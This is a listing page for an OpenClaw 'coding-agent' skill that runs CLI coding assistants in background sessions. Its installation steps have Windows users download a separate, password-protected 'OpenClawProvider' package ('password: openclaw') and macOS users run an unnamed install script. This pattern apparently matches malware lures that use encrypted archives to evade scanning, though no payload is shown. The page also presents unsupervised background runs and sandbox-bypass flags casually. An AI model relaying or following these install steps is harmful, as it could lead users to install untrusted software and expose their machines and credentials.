coding-agent

What This Skill Does

The coding-agent skill is a powerful automation wrapper that allows the OpenClaw AI to orchestrate professional-grade CLI coding assistants—including Codex CLI, Claude Code, and OpenCode—in background processes. By offloading development tasks to a dedicated background task, users can maintain their primary interface while the agent performs complex coding, debugging, and file manipulation within sandboxed or project-specific directories. It handles the lifecycle of these tools through OpenClaw’s session management system, providing methods for starting, logging, interacting with, and terminating coding sessions programmatically.

Installation

This skill requires the OpenClawProvider to be operational on your host machine.

• For Windows, download the OpenClawProvider package (password: openclaw).
• For MacOS, execute the automated install script provided in the documentation to ensure necessary background process permissions are configured. Once the provider is running, install via: clawhub install openclaw/skills/skills/sakaen736jih/coding-agent-ggeu0hlk4.

Use Cases

• Automated Prototyping: Use --full-auto modes to generate boilerplate code or small game components without manual intervention.
• PR Auditing: Safely clone repositories into ephemeral directories to run code reviews via the coding agent without modifying your local environment.
• Long-running refactors: Offload heavy refactoring tasks that would otherwise tie up your main terminal window.
• Non-interactive scripting: Execute recurring coding tasks or automated file updates via headless background executions.

Example Prompts

1. "OpenClaw, start a background coding session in my ~/dev/web-app folder and use codex to add a dark-mode toggle to the main header component."
2. "Please monitor the coding session with sessionId 552 and report the current progress or if it is asking for any clarification."
3. "Clone the repository at github.com/user/project into a temporary directory and initiate a safety-focused code review using the coding-agent."

Tips & Limitations

• Workdir Isolation: Always specify a workdir when starting a process. This acts as a security boundary to ensure the agent does not touch files it doesn't need to see.
• Danger Levels: Be cautious with --yolo or --dangerously-bypass-approvals-and-sandbox flags; these grant the agent full delete and write access to your filesystem.
• Tool Selection: Prefer tmux for interactive, complex tasks where you need to see the agent's logic in real-time. Use coding-agent (background mode) for tasks that are clearly defined and can run without human oversight.